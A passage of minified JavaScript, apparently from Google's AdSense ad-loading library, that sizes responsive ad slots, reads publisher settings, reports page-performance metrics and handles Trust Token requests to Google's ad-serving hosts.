h=!0===f,k=K(d.style.width),l=K(d.style.height),m=Um(g,b,c,d,e,h);g=m.Y;h=m.W;var q=m.pa;m=m.Ma;var t=Vm(b,q),y,F=(y=xi(d,c,"marginLeft",K))?y+"px":"",z=(y=xi(d,c,"marginRight",K))?y+"px":"";y=xi(d,c,"zIndex")||"";return new Cm(t,g,q,null,m,f,h,F,z,l,k,y)}function Sm(a){return"auto"==a||/^((^|,) *(horizontal|vertical|rectangle) *)+$/.test(a)} function Um(a,b,c,d,e,f){b="auto"==b?.25>=a/Math.min(1200,Wf(c))?4:3:pi(b);var g=!1,h=!1;if(488>Wf(c)){var k=ki(d,c);var l=Ai(d,c);g=!l&&k;h=l&&k}l=[yi(a),sm(b)];l.push(zi(488>Wf(c),c,d,h));null!=e.google_max_responsive_height&&l.push(Ci(e.google_max_responsive_height));var m=[function(t){return!t.ib}];if(g||h)g=Di(c,d),m.push(Ci(g));var q=Pm(Om(l),Om(m));if(!q)throw new T("No slot size for availableWidth="+a);l=Wi(248,function(){var t;a:if(f){if(e.gfwrnh&&(t=K(e.gfwrnh))){t={Y:new Km(a,t),W:!0}; break a}t=a/1.2;var y=Math;var F=y.min;if(e.google_resizing_allowed||"true"==e.google_full_width_responsive)var z=Infinity;else{z=d;var E=Infinity;do{var S=xi(z,c,"height",K);S&&(E=Math.min(E,S));(S=xi(z,c,"maxHeight",K))&&(E=Math.min(E,S))}while((z=z.parentElement)&&"HTML"!=z.tagName);z=E}y=F.call(y,t,z);if(y<.5*t||100>y)y=t;P(hf)&&!Ai(d,c)&&(y=Math.max(y,.5*Vf(c).clientHeight));t={Y:new Km(a,Math.floor(y)),W:y<t?102:!0}}else t={Y:q,W:100};return t});g=l.Y;l=l.W;return"in-article"===e.google_ad_layout&& Wm(c)?{Y:Xm(a,c,d,g,e),W:!1,pa:b,Ma:k}:{Y:g,W:l,pa:b,Ma:k}}function Vm(a,b){if("auto"==a)return 1;switch(b){case 2:return 2;case 1:return 3;case 4:return 4;case 3:return 5;case 6:return 6;case 5:return 7;case 7:return 8}throw Error("bad mask");}function Xm(a,b,c,d,e){var f=e.google_ad_height||xi(c,b,"height",K);b=Nm(a,b,c,f,e).size();return b.minWidth()*b.height()>a*d.height()?new V(b.minWidth(),b.height(),1):d}function Wm(a){return P(ff)||a.location&&"#hffwroe2etoq"==a.location.hash};function Ym(a,b,c,d,e){var f;(f=Wf(b))?488>Wf(b)?b.innerHeight>=b.innerWidth?(e.google_full_width_responsive_allowed=!0,vi(b,c),f={D:f,F:!0}):f={D:a,F:5}:f={D:a,F:4}:f={D:a,F:10};var g=f;f=g.D;g=g.F;if(!0!==g||a==f)return new Cm(12,new wi(a,d),null,null,!0,g,100);a=Um(f,"auto",b,c,e,!0);return new Cm(1,a.Y,a.pa,2,!0,g,a.W)};function Zm(a,b){var c=b.google_ad_format;if("autorelaxed"==c){a:{if("pedestal"!=b.google_content_recommendation_ui_type)for(a=u(Em),c=a.next();!c.done;c=a.next())if(null!=b[c.value]){b=!0;break a}b=!1}return b?9:5}if(Sm(c))return 1;if("link"===c)return 4;if("fluid"==c){if(c="in-article"===b.google_ad_layout)c=P(gf)||P(ff)||a.location&&("#hffwroe2etop"==a.location.hash||"#hffwroe2etoq"==a.location.hash);return c?($m(b),1):8}if(27===b.google_reactive_ad_format)return $m(b),1} function an(a,b,c,d,e){e=b.offsetWidth||(c.google_ad_resize||(void 0===e?!1:e))&&xi(b,d,"width",K)||c.google_ad_width||0;4===a&&(c.google_ad_format="auto",a=1);var f=(f=bn(a,e,b,c,d))?f:Tm(e,c.google_ad_format,d,b,c);f.size().i(d,c,b);Dm(f,e,c);1!=a&&(a=f.size().height(),b.style.height=a+"px")} function bn(a,b,c,d,e){var f=d.google_ad_height||xi(c,e,"height",K);switch(a){case 5:return f=Wi(247,function(){return Rm(b,d.google_ad_format,e,c,d)}),a=f.D,f=f.F,!0===f&&b!=a&&vi(e,c),!0===f?d.google_full_width_responsive_allowed=!0:(d.google_full_width_responsive_allowed=!1,d.gfwrnwer=f),Gm(a,d);case 9:return Jm(b,d);case 8:return Nm(b,e,c,f,d);case 10:return Ym(b,e,c,f,d)}}function $m(a){a.google_ad_format="auto";a.armr=3};function cn(a,b){var c=Ic(b);if(c){c=Wf(c);var d=Nc(a,b)||{},e=d.direction;if("0px"===d.width&&"none"!==d.cssFloat)return-1;if("ltr"===e&&c)return Math.floor(Math.min(1200,c-a.getBoundingClientRect().left));if("rtl"===e&&c)return a=b.document.body.getBoundingClientRect().right-a.getBoundingClientRect().right,Math.floor(Math.min(1200,c-a-Math.floor((c-b.document.body.clientWidth)/2)))}return-1};var dn=ja(["https://pagead2.googlesyndication.com/pagead/managed/js/adsense/","/slotcar_library",".js"]),en=ja(["https://googleads.g.doubleclick.net/pagead/html/","/","/zrt_lookup.html"]),fn=ja(["https://pagead2.googlesyndication.com/pagead/managed/js/adsense/","/show_ads_impl",".js"]),gn=ja(["https://pagead2.googlesyndication.com/pagead/managed/js/adsense/","/show_ads_impl_with_ama",".js"]),hn=ja(["https://pagead2.googlesyndication.com/pagead/managed/js/adsense/","/show_ads_impl_instrumented",".js"]);function jn(a){Ui.Ta(function(b){b.shv=String(a);b.mjsv="m202204040101";var c=O(Oh).h(),d=U(w);d.eids||(d.eids=[]);b.eid=c.concat(d.eids).join(",")})};function kn(a){var b=a.nb;return a.eb||("dev"===b?"dev":"")};var ln={},mn=(ln.google_ad_modifications=!0,ln.google_analytics_domain_name=!0,ln.google_analytics_uacct=!0,ln.google_pause_ad_requests=!0,ln.google_user_agent_client_hint=!0,ln);function nn(a){return(a=a.innerText||a.innerHTML)&&(a=a.replace(/^\s+/,"").split(/\r?\n/,1)[0].match(/^\x3c!--+(.*?)(?:--+>)?\s*$/))&&RegExp("google_ad_client").test(a[1])?a[1]:null} function on(a){if(a=a.innerText||a.innerHTML)if(a=a.replace(/^\s+|\s+$/g,"").replace(/\s*(\r?\n)+\s*/g,";"),(a=a.match(/^\x3c!--+(.*?)(?:--+>)?$/)||a.match(/^\/*\s*<!\[CDATA\[(.*?)(?:\/*\s*\]\]>)?$/i))&&RegExp("google_ad_client").test(a[1]))return a[1];return null} function pn(a){switch(a){case "true":return!0;case "false":return!1;case "null":return null;case "undefined":break;default:try{var b=a.match(/^(?:'(.*)'|"(.*)")$/);if(b)return b[1]||b[2]||"";if(/^[-+]?\d*(\.\d+)?$/.test(a)){var c=parseFloat(a);return c===c?c:void 0}}catch(d){}}};function qn(a){if(a.google_ad_client)return String(a.google_ad_client);var b,c,d,e,f;if(null!=(e=null!=(d=null==(b=U(a).head_tag_slot_vars)?void 0:b.google_ad_client)?d:null==(c=a.document.querySelector(".adsbygoogle[data-ad-client]"))?void 0:c.getAttribute("data-ad-client")))b=e;else{b:{b=a.document.getElementsByTagName("script");a=a.navigator&&a.navigator.userAgent||"";a=RegExp("appbankapppuzdradb|daumapps|fban|fbios|fbav|fb_iab|gsa/|messengerforios|naver|niftyappmobile|nonavigation|pinterest|twitter|ucbrowser|yjnewsapp|youtube", "i").test(a)||/i(phone|pad|pod)/i.test(a)&&/applewebkit/i.test(a)&&!/version|safari/i.test(a)&&!qd()?nn:on;for(c=b.length-1;0<=c;c--)if(d=b[c],!d.google_parsed_script_for_pub_code&&(d.google_parsed_script_for_pub_code=!0,d=a(d))){b=d;break b}b=null}if(b){a=/(google_\w+) *= *(['"]?[\w.-]+['"]?) *(?:;|$)/gm;for(c={};d=a.exec(b);)c[d[1]]=pn(d[2]);b=c.google_ad_client?c.google_ad_client:""}else b=""}return null!=(f=b)?f:""};var rn="undefined"===typeof sttc?void 0:sttc;function sn(a){var b=Ui;try{return Yf(a,Zf),new Rk(JSON.parse(a))}catch(c){b.I(838,c instanceof Error?c:Error(String(c)),void 0,function(d){d.jspb=String(a)})}return new Rk};var tn=O(yf).h(mf.h,mf.defaultValue);function un(){var a=L.document;a=void 0===a?window.document:a;ed(tn,a)};var vn=O(yf).h(nf.h,nf.defaultValue);function wn(){var a=L.document;a=void 0===a?window.document:a;ed(vn,a)};var xn=ja(["https://pagead2.googlesyndication.com/pagead/js/err_rep.js"]);function yn(){this.h=null;this.j=!1;this.l=Math.random();this.i=this.I;this.m=null}n=yn.prototype;n.Ta=function(a){this.h=a};n.Va=function(a){this.j=a};n.Ua=function(a){this.i=a}; n.I=function(a,b,c,d,e){if((this.j?this.l:Math.random())>(void 0===c?.01:c))return!1;Rh(b)||(b=new Qh(b,{context:a,id:void 0===e?"jserror":e}));if(d||this.h)b.meta={},this.h&&this.h(b.meta),d&&d(b.meta);w.google_js_errors=w.google_js_errors||[];w.google_js_errors.push(b);if(!w.error_rep_loaded){a=nd(xn);var f;Lc(w.document,null!=(f=this.m)?f:hc(qc(a).toString()));w.error_rep_loaded=!0}return!1};n.oa=function(a,b,c){try{return b()}catch(d){if(!this.i(a,d,.01,c,"jserror"))throw d;}}; n.Oa=function(a,b){var c=this;return function(){var d=ta.apply(0,arguments);return c.oa(a,function(){return b.apply(void 0,d)})}};n.Pa=function(a,b){var c=this;b.catch(function(d){d=d?d:"unknown rejection";c.I(a,d instanceof Error?d:Error(d))})};function zn(a,b,c){var d=window;return function(){var e=Yh(),f=3;try{var g=b.apply(this,arguments)}catch(h){f=13;if(c)return c(a,h),g;throw h;}finally{d.google_measure_js_timing&&e&&(e={label:a.toString(),value:e,duration:(Yh()||0)-e,type:f},f=d.google_js_reporting_queue=d.google_js_reporting_queue||[],2048>f.length&&f.push(e))}return g}}function An(a,b){return zn(a,b,function(c,d){(new yn).I(c,d)})};function Bn(a,b){return null==b?"&"+a+"=null":"&"+a+"="+Math.floor(b)}function Cn(a,b){return"&"+a+"="+b.toFixed(3)}function Dn(){var a=new p.Set,b=aj();try{if(!b)return a;for(var c=b.pubads(),d=u(c.getSlots()),e=d.next();!e.done;e=d.next())a.add(e.value.getSlotId().getDomId())}catch(f){}return a}function En(a){a=a.id;return null!=a&&(Dn().has(a)||r(a,"startsWith").call(a,"google_ads_iframe_")||r(a,"startsWith").call(a,"aswift"))} function Fn(a,b,c){if(!a.sources)return!1;switch(Gn(a)){case 2:var d=Hn(a);if(d)return c.some(function(f){return In(d,f)});case 1:var e=Jn(a);if(e)return b.some(function(f){return In(e,f)})}return!1}function Gn(a){if(!a.sources)return 0;a=a.sources.filter(function(b){return b.previousRect&&b.currentRect});if(1<=a.length){a=a[0];if(a.previousRect.top<a.currentRect.top)return 2;if(a.previousRect.top>a.currentRect.top)return 1}return 0}function Jn(a){return Kn(a,function(b){return b.currentRect})} function Hn(a){return Kn(a,function(b){return b.previousRect})}function Kn(a,b){return a.sources.reduce(function(c,d){d=b(d);return c?d&&0!==d.width*d.height?d.top<c.top?d:c:c:d},null)} function Ln(){Mj.call(this);this.i=this.h=this.P=this.O=this.H=0;this.Ba=this.ya=Number.NEGATIVE_INFINITY;this.ua=this.wa=this.xa=this.za=this.Ea=this.m=this.Da=this.U=0;this.va=!1;this.R=this.N=this.C=0;var a=document.querySelector("[data-google-query-id]");this.Ca=a?a.getAttribute("data-google-query-id"):null;this.l=null;this.Aa=!1;this.ga=function(){}}v(Ln,Mj); function Mn(){var a=new Ln;if(P(of)){var b=window;if(!b.google_plmetrics&&window.PerformanceObserver){b.google_plmetrics=!0;b=u(["layout-shift","largest-contentful-paint","first-input","longtask"]);for(var c=b.next();!c.done;c=b.next())c=c.value,Nn(a).observe({type:c,buffered:!0});On(a)}}} function Nn(a){a.l||(a.l=new PerformanceObserver(An(640,function(b){var c=Pn!==window.scrollX||Qn!==window.scrollY?[]:Rn,d=Sn();b=u(b.getEntries());for(var e=b.next();!e.done;e=b.next())switch(e=e.value,e.entryType){case "layout-shift":var f=a;if(!e.hadRecentInput){f.H+=Number(e.value);Number(e.value)>f.O&&(f.O=Number(e.value));f.P+=1;var g=Fn(e,c,d);g&&(f.m+=e.value,f.za++);if(5E3<e.startTime-f.ya||1E3<e.startTime-f.Ba)f.ya=e.startTime,f.h=0,f.i=0;f.Ba=e.startTime;f.h+=e.value;g&&(f.i+=e.value); f.h>f.U&&(f.U=f.h,f.Ea=f.i,f.Da=e.startTime+e.duration)}break;case "largest-contentful-paint":a.xa=Math.floor(e.renderTime||e.loadTime);a.wa=e.size;break;case "first-input":a.ua=Number((e.processingStart-e.startTime).toFixed(3));a.va=!0;break;case "longtask":e=Math.max(0,e.duration-50),a.C+=e,a.N=Math.max(a.N,e),a.R+=1}})));return a.l} function On(a){var b=An(641,function(){var d=document;2==(d.prerendering?3:{visible:1,hidden:2,prerender:3,preview:4,unloaded:5}[d.visibilityState||d.webkitVisibilityState||d.mozVisibilityState||""]||0)&&Tn(a)}),c=An(641,function(){return void Tn(a)});document.addEventListener("visibilitychange",b);document.addEventListener("unload",c);a.ga=function(){document.removeEventListener("visibilitychange",b);document.removeEventListener("unload",c);Nn(a).disconnect()}} Ln.prototype.j=function(){Mj.prototype.j.call(this);this.ga()}; function Tn(a){if(!a.Aa){a.Aa=!0;Nn(a).takeRecords();var b="https://pagead2.googlesyndication.com/pagead/gen_204?id=plmetrics";window.LayoutShift&&(b+=Cn("cls",a.H),b+=Cn("mls",a.O),b+=Bn("nls",a.P),window.LayoutShiftAttribution&&(b+=Cn("cas",a.m),b+=Bn("nas",a.za)),b+=Cn("wls",a.U),b+=Cn("tls",a.Da),window.LayoutShiftAttribution&&(b+=Cn("was",a.Ea)));window.LargestContentfulPaint&&(b+=Bn("lcp",a.xa),b+=Bn("lcps",a.wa));window.PerformanceEventTiming&&a.va&&(b+=Bn("fid",a.ua));window.PerformanceLongTaskTiming&& (b+=Bn("cbt",a.C),b+=Bn("mbt",a.N),b+=Bn("nlt",a.R));for(var c=0,d=u(document.getElementsByTagName("iframe")),e=d.next();!e.done;e=d.next())En(e.value)&&c++;b+=Bn("nif",c);b+=Bn("ifi",pd(window));c=O(Oh).h();b+="&eid="+encodeURIComponent(c.join());b+="&top="+(w===w.top?1:0);b+=a.Ca?"&qqid="+encodeURIComponent(a.Ca):Bn("pvsid",fd(w));window.googletag&&(b+="&gpt=1");window.fetch(b,{keepalive:!0,credentials:"include",redirect:"follow",method:"get",mode:"no-cors"});a.A||(a.A=!0,a.j())}} function In(a,b){var c=Math.min(a.right,b.right)-Math.max(a.left,b.left);a=Math.min(a.bottom,b.bottom)-Math.max(a.top,b.top);return 0>=c||0>=a?!1:50<=100*c*a/((b.right-b.left)*(b.bottom-b.top))} function Sn(){var a=[].concat(ka(document.getElementsByTagName("iframe"))).filter(En),b=[].concat(ka(Dn())).map(function(c){return document.getElementById(c)}).filter(function(c){return null!==c});Pn=window.scrollX;Qn=window.scrollY;return Rn=[].concat(ka(a),ka(b)).map(function(c){return c.getBoundingClientRect()})}var Pn=void 0,Qn=void 0,Rn=[];var X={issuerOrigin:"https://attestation.android.com",issuancePath:"/att/i",redemptionPath:"/att/r"},Y={issuerOrigin:"https://pagead2.googlesyndication.com",issuancePath:"/dtt/i",redemptionPath:"/dtt/r",getStatePath:"/dtt/s"};var Un=O(yf).h(wf.h,wf.defaultValue); function Vn(a,b,c){Mj.call(this);var d=this;this.i=a;this.h=[];b&&Wn()&&this.h.push(X);c&&this.h.push(Y);if(document.hasTrustToken&&!P(tf)){var e=new p.Map;this.h.forEach(function(f){e.set(f.issuerOrigin,{issuerOrigin:f.issuerOrigin,state:d.i?1:12,hasRedemptionRecord:!1})});window.goog_tt_state_map=window.goog_tt_state_map&&window.goog_tt_state_map instanceof p.Map?new p.Map([].concat(ka(e),ka(window.goog_tt_state_map))):e;window.goog_tt_promise_map&&window.goog_tt_promise_map instanceof p.Map||(window.goog_tt_promise_map= new p.Map)}}v(Vn,Mj);function Wn(){var a=void 0===a?window:a;a=a.navigator.userAgent;var b=/Chrome/.test(a);return/Android/.test(a)&&b}function Xn(){var a=void 0===a?window.document:a;ed(Un,a)}function Yn(a,b){return a||".google.ch"===b||"function"===typeof L.__tcfapi}function Z(a,b,c){var d,e=null==(d=window.goog_tt_state_map)?void 0:d.get(a);e&&(e.state=b,void 0!=c&&(e.hasRedemptionRecord=c))} function Zn(){var a=X.issuerOrigin+X.redemptionPath,b={keepalive:!0,trustToken:{type:"token-redemption",issuer:X.issuerOrigin,refreshPolicy:"none"}};Z(X.issuerOrigin,2);return window.fetch(a,b).then(function(c){if(!c.ok)throw Error(c.status+": Network response was not ok!");Z(X.issuerOrigin,6,!0)}).catch(function(c){c&&"NoModificationAllowedError"===c.name?Z(X.issuerOrigin,6,!0):Z(X.issuerOrigin,5)})} function $n(){var a=X.issuerOrigin+X.issuancePath;Z(X.issuerOrigin,8);return window.fetch(a,{keepalive:!0,trustToken:{type:"token-request"}}).then(function(b){if(!b.ok)throw Error(b.status+": Network response was not ok!");Z(X.issuerOrigin,10);return Zn()}).catch(function(b){if(b&&"NoModificationAllowedError"===b.name)return Z(X.issuerOrigin,10),Zn();Z(X.issuerOrigin,9)})}function ao(){Z(X.issuerOrigin,13);return document.hasTrustToken(X.issuerOrigin).then(function(a){return a?Zn():$n()})} function bo(){Z(Y.issuerOrigin,13);if(p.Promise){var a=document.hasTrustToken(Y.issuerOrigin).then(function(e){return e}).catch(function(e){return p.Promise.reject({state:19,error:e})}),b=Y.issuerOrigin+Y.redemptionPath,c={keepalive:!0,trustToken:{type:"token-redemption",refreshPolicy:"none"}};Z(Y.issuerOrigin,16);a=a.then(function(e){return window.fetch(b,c).then(function(f){if(!f.ok)throw Error(f.status+": Network response was not ok!");Z(Y.issuerOrigin,18,!0)}).catch(function(f){if(f&&"NoModificationAllowedError"=== f.name)Z(Y.issuerOrigin,18,!0);else{if(e)return p.Promise.reject({state:17,error:f});Z(Y.issuerOrigin,17)}})}).then(function(){return document.hasTrustToken(Y.issuerOrigin).then(function(e){return e}).catch(function(e){return p.Promise.reject({state:19,error:e})})}).then(function(e){var f=Y.issuerOrigin+Y.getStatePath;Z(Y.issuerOrigin,20);return window.fetch(f+"?ht="+e,{trustToken:{type:"send-redemption-record",issuers:[Y.issuerOrigin]}}).then(function(g){if(!g.ok)throw Error(g.status+": Network response was not ok!"); Z(Y.issuerOrigin,22);return g.text().then(function(h){return JSON.parse(h)})}).catch(function(g){return p.Promise.reject({state:21,error:g})})});var d=fd(window);return a.then(function(e){var f=Y.issuerOrigin+Y.issuancePath;return e&&e.srqt&&e.cs?(Z(Y.issuerOrigin,23),window.fetch(f+"?cs="+e.cs+"&correlator="+d,{keepalive:!0,trustToken:{type:"token-request"}}).then(function(g){if(!g.ok)throw Error(g.status+": Network response was not ok!");Z(Y.issuerOrigin,25);return e}).catch(function(g){return p.Promise.reject({state:24, error:g})})):e}).then(function(e){if(e&&e.srdt&&e.cs)return Z(Y.issuerOrigin,26),window.fetch(b+"?cs="+e.cs+"&correlator="+d,{keepalive:!0,trustToken:{type:"token-redemption",refreshPolicy:"refresh"}}).then(function(f){if(!f.ok)throw Error(f.status+": Network response was not ok!");Z(Y.issuerOrigin,28,!0)}).catch(function(f){return p.Promise.reject({state:27,error:f})})}).then(function(){Z(Y.issuerOrigin,29)}).catch(function(e){if(e instanceof Object&&e.hasOwnProperty("state")&&e.hasOwnProperty("error"))if("number"=== typeof e.state&&e.error instanceof Error){Z(Y.issuerOrigin,e.state);var f=Q(vf);Math.random()<=f&&Ff({state:e.state,err:e.error.toString()})}else throw Error(e);else throw e;})}} function co(a){if(document.hasTrustToken&&!P(tf)&&a.i){var b=window.goog_tt_promise_map;if(b&&b instanceof p.Map){var c=[];if(a.h.some(function(e){return e.issuerOrigin===X.issuerOrigin})){var d=b.get(X.issuerOrigin);d||(d=ao(),b.set(X.issuerOrigin,d));c.push(d)}a.h.some(function(e){return e.issuerOrigin===Y.issuerOrigin})&&(a=b.get(Y.issuerOrigin),a||(a=bo(),b.set(Y.issuerOrigin,a)),c.push(a));if(0<c.length&&p.Promise&&p.Promise.all)return p.Promise.all(c)}}};function eo(a){J.call(this,a,-1,fo)}v(eo,J);function go(a,b){return B(a,2,b)}function ho(a,b){return B(a,3,b)}function io(a,b){return B(a,4,b)}function jo(a,b){return B(a,5,b)}function ko(a,b){return B(a,9,b)}function lo(a,b){return Gb(a,10,b)}function mo(a,b){return B(a,11,b)}function no(a,b){return B(a,1,b)}function oo(a){J.call(this,a)}v(oo,J);oo.prototype.getVersion=function(){return I(this,2)};var fo=[10,6];var po="platform platformVersion architecture model uaFullVersion bitness fullVersionList wow64".split(" ");function qo(){var a;return null!=(a=L.google_tag_data)?a:L.google_tag_data={}} function ro(){var a,b;if("function"!==typeof(null==(a=L.navigator)?void 0:null==(b=a.userAgentData)?void 0:b.getHighEntropyValues))return null;var c=qo();if(c.uach_promise)return c.uach_promise;a=L.navigator.userAgentData.getHighEntropyValues(po).then(function(d){null!=c.uach||(c.uach=d);return d});return c.uach_promise=a} function so(a){var b;return mo(lo(ko(jo(io(ho(go(no(new eo,a.platform||""),a.platformVersion||""),a.architecture||""),a.model||""),a.uaFullVersion||""),a.bitness||""),(null==(b=a.fullVersionList)?void 0:b.map(function(c){var d=new oo;d=B(d,1,c.brand);return B(d,2,c.version)}))||[]),a.wow64||!1)} function to(){if(P(pf)){var a,b;return null!=(b=null==(a=ro())?void 0:a.then(function(f){return so(f)}))?b:null}var c,d;if("function"!==typeof(null==(c=L.navigator)?void 0:null==(d=c.userAgentData)?void 0:d.getHighEntropyValues))return null;var e;return null!=(e=L.navigator.userAgentData.getHighEntropyValues(po).then(function(f){return so(f)}))?e:null};function uo(a,b){b.google_ad_host||(a=vo(a))&&(b.google_ad_host=a)}function wo(a,b,c){c=void 0===c?"":c;L.google_sa_impl&&!L.document.getElementById("google_shimpl")&&(delete L.google_sa_queue,delete L.google_sa_impl);L.google_sa_queue||(L.google_sa_queue=[],L.google_process_slots=Xi(215,function(){return xo(L.google_sa_queue)}),a=yo(c,a,b),Lc(L.document,a).id="google_shimpl")} function xo(a){var b=a.shift();"function"===typeof b&&Wi(216,b);a.length&&w.setTimeout(Xi(215,function(){return xo(a)}),0)}function zo(a,b,c){a.google_sa_queue=a.google_sa_queue||[];a.google_sa_impl?c(b):a.google_sa_queue.push(b)} function yo(a,b,c){var d=Math.random()<Q(bf)?hc(qc(b.pb).toString()):null;b=D(c,4)?b.ob:b.qb;d=d?d:hc(qc(b).toString());b={};a:{if(D(c,4)){if(c=a||qn(L)){var e={};c=(e.client=c,e.plah=L.location.host,e);break a}throw Error("PublisherCodeNotFoundForAma");}c={}}Ao(c,b);a:{if(P($e)||P(Oe)){a=a||qn(L);var f;var g=(c=null==(g=U(L))?void 0:null==(f=g.head_tag_slot_vars)?void 0:f.google_ad_host)?c:vo(L);if(a){f={};g=(f.client=a,f.plah=L.location.host,f.ama_t="adsense",f.asntp=Q(Ge),f.asntpv=Q(Ke),f.asntpl= Q(Ie),f.asntpm=Q(Je),f.asntpc=Q(He),f.asna=Q(Ce),f.asnd=Q(De),f.asnp=Q(Ee),f.asns=Q(Fe),f.asmat=Q(Be),f.asptt=Q(Le),f.easpi=P($e),f.asro=P(Me),f.host=g,f.easai=P(Ze),f);break a}}g={}}Ao(g,b);Ao(zf()?{bust:zf()}:{},b);return ec(d,b)}function Ao(a,b){Sc(a,function(c,d){void 0===b[d]&&(b[d]=c)})}function vo(a){if(a=a.document.querySelector('meta[name="google-adsense-platform-account"]'))return a.getAttribute("content")} function Bo(a){a:{var b=void 0===b?!1:b;var c=void 0===c?1024:c;for(var d=[w.top],e=[],f=0,g;g=d[f++];){b&&!Hc(g)||e.push(g);try{if(g.frames)for(var h=0;h<g.frames.length&&d.length<c;++h)d.push(g.frames[h])}catch(l){}}for(b=0;b<e.length;b++)try{var k=e[b].frames.google_esf;if(k){id=k;break a}}catch(l){}id=null}if(id)return null;e=Mc("IFRAME");e.id="google_esf";e.name="google_esf";e.src=sc(a.vb);e.style.display="none";return e} function Co(a,b,c,d){Do(a,b,c,d,function(e,f){e=e.document;for(var g=void 0,h=0;!g||e.getElementById(g+"_anchor");)g="aswift_"+h++;e=g;g=Number(f.google_ad_width||0);f=Number(f.google_ad_height||0);h=Mc("INS");h.id=e+"_anchor";pm(h,g,f);h.style.display="block";var k=Mc("INS");k.id=e+"_expand";pm(k,g,f);k.style.display="inline-table";k.appendChild(h);c.appendChild(k);return e})} function Do(a,b,c,d,e){e=e(a,b);Eo(a,c,b);c=Ia;var f=(new Date).getTime();b.google_lrv=I(d,2);b.google_async_iframe_id=e;b.google_start_time=c;b.google_bpp=f>c?f-c:1;a.google_sv_map=a.google_sv_map||{};a.google_sv_map[e]=b;d=a.document.getElementById(e+"_anchor")?function(h){return h()}:function(h){return window.setTimeout(h,0)};var g={pubWin:a,vars:b};zo(a,function(){var h=a.google_sa_impl(g);h&&h.catch&&Zi(911,h)},d)} function Eo(a,b,c){var d=c.google_ad_output,e=c.google_ad_format,f=c.google_ad_width||0,g=c.google_ad_height||0;e||"html"!=d&&null!=d||(e=f+"x"+g);d=!c.google_ad_slot||c.google_override_format||!qm[c.google_ad_width+"x"+c.google_ad_height]&&"aa"==c.google_loader_used;e&&d?e=e.toLowerCase():e="";c.google_ad_format=e;if("number"!==typeof c.google_reactive_sra_index||!c.google_ad_unit_key){e=[c.google_ad_slot,c.google_orig_ad_format||c.google_ad_format,c.google_ad_type,c.google_orig_ad_width||c.google_ad_width, c.google_orig_ad_height||c.google_ad_height];d=[];f=0;for(g=b;g&&25>f;g=g.parentNode,++f)9===g.nodeType?d.push(""):d.push(g.id);(d=d.join())&&e.push(d);c.google_ad_unit_key=Tc(e.join(":")).toString();var h=void 0===h?!1:h;e=[];for(d=0;b&&25>d;++d){f="";void 0!==h&&h||(f=(f=9!==b.nodeType&&b.id)?"/"+f:"");a:{if(b&&b.nodeName&&b.parentElement){g=b.nodeName.toString().toLowerCase();for(var k=b.parentElement.childNodes,l=0,m=0;m<k.length;++m){var q=k[m];if(q.nodeName&&q.nodeName.toString().toLowerCase()=== g){if(b===q){g="."+l;break a}++l}}}g=""}e.push((b.nodeName&&b.nodeName.toString().toLowerCase())+f+g);b=b.parentElement}h=e.join()+":";b=[];if(a)try{var t=a.parent;for(e=0;t&&t!==a&&25>e;++e){var y=t.frames;for(d=0;d<y.length;++d)if(a===y[d]){b.push(d);break}a=t;t=a.parent}}catch(F){}c.google_ad_dom_fingerprint=Tc(h+b.join()).toString()}}function Fo(){var a=Ic(w);a&&(a=Uf(a),a.tagSpecificState[1]||(a.tagSpecificState[1]={debugCard:null,debugCardRequested:!1}))} function Go(a){Xn();Yn(Wk(),I(a,8))||Xi(779,function(){var b=window;b=void 0===b?window:b;b=P(b.PeriodicSyncManager?rf:sf);var c=P(uf);b=new Vn(!0,b,c);0<Q(xf)?L.google_trust_token_operation_promise=co(b):co(b)})();a=to();null!=a&&a.then(function(b){L.google_user_agent_client_hint=Lb(b)});wn();un()};function Ho(a,b){switch(a){case "google_reactive_ad_format":return a=parseInt(b,10),isNaN(a)?0:a;case "google_allow_expandable_ads":return/^true$/.test(b);default:return b}} function Io(a,b){if(a.getAttribute("src")){var c=a.getAttribute("src")||"";(c=Gc(c))&&(b.google_ad_client=Ho("google_ad_client",c))}a=a.attributes;c=a.length;for(var d=0;d<c;d++){var e=a[d];if(/data-/.test(e.name)){var f=Ja(e.name.replace("data-matched-content","google_content_recommendation").replace("data","google").replace(/-/g,"_"));b.hasOwnProperty(f)||(e=Ho(f,e.value),null!==e&&(b[f]=e))}}} function Jo(a){if(a=ld(a))switch(a.data&&a.data.autoFormat){case "rspv":return 13;case "mcrspv":return 15;default:return 14}else return 12} function Ko(a,b,c,d){Io(a,b);if(c.document&&c.document.body&&!Zm(c,b)&&!b.google_reactive_ad_format){var e=parseInt(a.style.width,10),f=cn(a,c);if(0<f&&e>f){var g=parseInt(a.style.height,10);e=!!qm[e+"x"+g];var h=f;if(e){var k=rm(f,g);if(k)h=k,b.google_ad_format=k+"x"+g+"_0ads_al";else throw new T("No slot size for availableWidth="+f);}b.google_ad_resize=!0;b.google_ad_width=h;e||(b.google_ad_format=null,b.google_override_format=!0);f=h;a.style.width=f+"px";g=Tm(f,"auto",c,a,b);h=f;g.size().i(c,b, a);Dm(g,h,b);g=g.size();b.google_responsive_formats=null;g.minWidth()>f&&!e&&(b.google_ad_width=g.minWidth(),a.style.width=g.minWidth()+"px")}}e=a.offsetWidth||xi(a,c,"width",K)||b.google_ad_width||0;f=Fa(Tm,e,"auto",c,a,b,!1,!0);if(!P(Xe)&&488>Wf(c)){g=Ic(c)||c;h=b.google_ad_client;d=g.location&&"#ftptohbh"===g.location.hash?2:yl(g.location,"google_responsive_slot_preview")||P(ef)?1:P(df)?2:Yk(g,1,h,d)?1:0;if(g=0!==d)b:if(b.google_reactive_ad_format||Zm(c,b)||mi(a,b))g=!1;else{for(g=a;g;g=g.parentElement){h= Nc(g,c);if(!h){b.gfwrnwer=18;g=!1;break b}if(!Xa(["static","relative"],h.position)){b.gfwrnwer=17;g=!1;break b}}g=qi(c,a,e,.3,b);!0!==g?(b.gfwrnwer=g,g=!1):g=c===c.top?!0:!1}g?(b.google_resizing_allowed=!0,b.ovlp=!0,2===d?(d={},Dm(f(),e,d),b.google_resizing_width=d.google_ad_width,b.google_resizing_height=d.google_ad_height,b.iaaso=!1):(b.google_ad_format="auto",b.iaaso=!0,b.armr=1),d=!0):d=!1}else d=!1;if(e=Zm(c,b))an(e,a,b,c,d);else{if(mi(a,b)){if(d=Nc(a,c))a.style.width=d.width,a.style.height= d.height,li(d,b);b.google_ad_width||(b.google_ad_width=a.offsetWidth);b.google_ad_height||(b.google_ad_height=a.offsetHeight);b.google_loader_features_used=256;b.google_responsive_auto_format=Jo(c)}else 